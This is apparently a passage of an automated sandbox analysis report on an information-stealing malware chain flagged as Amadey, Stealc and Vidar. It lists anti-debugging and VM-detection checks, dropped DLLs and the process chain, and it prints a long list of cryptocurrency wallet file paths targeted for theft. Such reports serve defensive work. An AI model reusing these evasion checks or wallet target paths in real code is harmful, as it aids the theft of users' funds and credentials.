Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Special instruction interceptor: First address: BAC066 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Special instruction interceptor: First address: D79BBE instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion

Source: C:\Users\user\DocumentsHCGCBFHCFC.exe

Code function: 24_2_04B10D43 rdtsc

24_2_04B10D43

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe

API coverage: 0.8 %

Source: C:\Users\user\Desktop\file.exe TID: 4640	Thread sleep time: -46023s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4700	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 356	Thread sleep time: -32000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 2112	Thread sleep time: -58029s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4648	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 6676	Thread sleep time: -36018s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4428	Thread sleep time: -50025s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 4424	Thread sleep time: -60030s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3576	Thread sleep count: 70 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3576	Thread sleep time: -2100000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 3576	Thread sleep time: -30000s >= -30000s

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\DocumentsHCGCBFHCFC.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA4C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6CA4C930

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior

Source: skotes.exe, skotes.exe, 0000001C.00000002.2695698549.0000000000FD0000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: HIIEBAFC.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696494690
Source: HIIEBAFC.0.dr	Binary or memory string: discord.comVMware20,11696494690f
Source: HIIEBAFC.0.dr	Binary or memory string: AMC password management pageVMware20,11696494690
Source: HIIEBAFC.0.dr	Binary or memory string: outlook.office.comVMware20,11696494690s
Source: HIIEBAFC.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696494690p
Source: HIIEBAFC.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696494690
Source: HIIEBAFC.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696494690n
Source: HIIEBAFC.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696494690
Source: HIIEBAFC.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696494690
Source: HIIEBAFC.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696494690d
Source: skotes.exe, 0000001C.00000002.2700081887.0000000001AD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}yM
Source: HIIEBAFC.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696494690u
Source: HIIEBAFC.0.dr	Binary or memory string: outlook.office365.comVMware20,11696494690t
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1979495754.000000000137A000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.2700081887.0000000001AA7000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 0000001C.00000002.2700081887.0000000001AEA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: HIIEBAFC.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696494690}
Source: HIIEBAFC.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696494690x
Source: HIIEBAFC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690^
Source: HIIEBAFC.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696494690
Source: HIIEBAFC.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696494690z
Source: HIIEBAFC.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696494690h
Source: HIIEBAFC.0.dr	Binary or memory string: tasks.office.comVMware20,11696494690o
Source: HIIEBAFC.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696494690~
Source: skotes.exe, 0000001C.00000002.2700081887.0000000001AD0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\y
Source: HIIEBAFC.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696494690
Source: DocumentsHCGCBFHCFC.exe, 00000018.00000002.2062621884.0000000000DA5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\\?\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\
Source: HIIEBAFC.0.dr	Binary or memory string: dev.azure.comVMware20,11696494690j
Source: HIIEBAFC.0.dr	Binary or memory string: global block list test formVMware20,11696494690
Source: file.exe, 00000000.00000002.1979495754.000000000131E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: HIIEBAFC.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696494690t
Source: HIIEBAFC.0.dr	Binary or memory string: bankofamerica.comVMware20,11696494690x
Source: HIIEBAFC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690}
Source: HIIEBAFC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696494690
Source: HIIEBAFC.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696494690]
Source: file.exe, 00000000.00000002.1978378040.0000000000968000.00000040.00000001.01000000.00000003.sdmp, DocumentsHCGCBFHCFC.exe, 00000018.00000002.2061210866.00000000008A0000.00000040.00000001.01000000.0000000B.sdmp, skotes.exe, 00000019.00000002.2091114063.0000000000FD0000.00000040.00000001.01000000.0000000E.sdmp, skotes.exe, 0000001C.00000002.2695698549.0000000000FD0000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: HIIEBAFC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: file.exe, 00000000.00000002.1979495754.0000000001360000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW0$9
Source: HIIEBAFC.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: HIIEBAFC.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Process queried: DebugPort
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe	Process queried: DebugPort

Source: C:\Users\user\DocumentsHCGCBFHCFC.exe

Code function: 24_2_04B10D43 rdtsc

24_2_04B10D43

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA95FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6CA95FF0

Source: C:\Users\user\Desktop\file.exe

0_2_6CA33480

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00E1652B mov eax, dword ptr fs:[00000030h]		28_2_00E1652B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 28_2_00E1A302 mov eax, dword ptr fs:[00000030h]		28_2_00E1A302

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6B66C SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		0_2_6CA6B66C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CA6B1F7 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		0_2_6CA6B1F7

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 740, type: MEMORYSTR

Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\DocumentsHCGCBFHCFC.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\DocumentsHCGCBFHCFC.exe "C:\Users\user\DocumentsHCGCBFHCFC.exe"
Source: C:\Users\user\DocumentsHCGCBFHCFC.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe "C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe"

Source: file.exe, 00000000.00000002.1978378040.0000000000968000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Program Manager
Source: file.exe	Binary or memory string: h Program Manager

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA6B341 cpuid

0_2_6CA6B341

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1009831001\b2638941c0.exe VolumeInformation

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CA335A0 ?Startup@TimeStamp@mozilla@@SAXXZ,InitializeCriticalSectionAndSpinCount,getenv,QueryPerformanceFrequency,_strnicmp,GetSystemTimeAdjustment,__aulldiv,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,QueryPerformanceCounter,EnterCriticalSection,LeaveCriticalSection,__aulldiv,strcmp,strcmp,_strnicmp,

0_2_6CA335A0

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 25.2.skotes.exe.de0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 28.2.skotes.exe.de0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 24.2.DocumentsHCGCBFHCFC.exe.6b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000019.00000003.2050546141.0000000005570000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000003.2518706284.00000000055D0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000002.2061051767.00000000006B1000.00000040.00000001.01000000.0000000B.sdmp, type: MEMORY
Source: Yara match	File source: 00000019.00000002.2090930083.0000000000DE1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY
Source: Yara match	File source: 00000018.00000003.1973617636.0000000004930000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001C.00000002.2695269868.0000000000DE1000.00000040.00000001.01000000.0000000E.sdmp, type: MEMORY

Yara detected Stealc

Source: Yara match	File source: 00000000.00000002.1977949025.00000000005A1000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1461137047.0000000004D10000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1979495754.000000000133E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 740, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 740, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000000.00000002.1979495754.0000000001399000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron 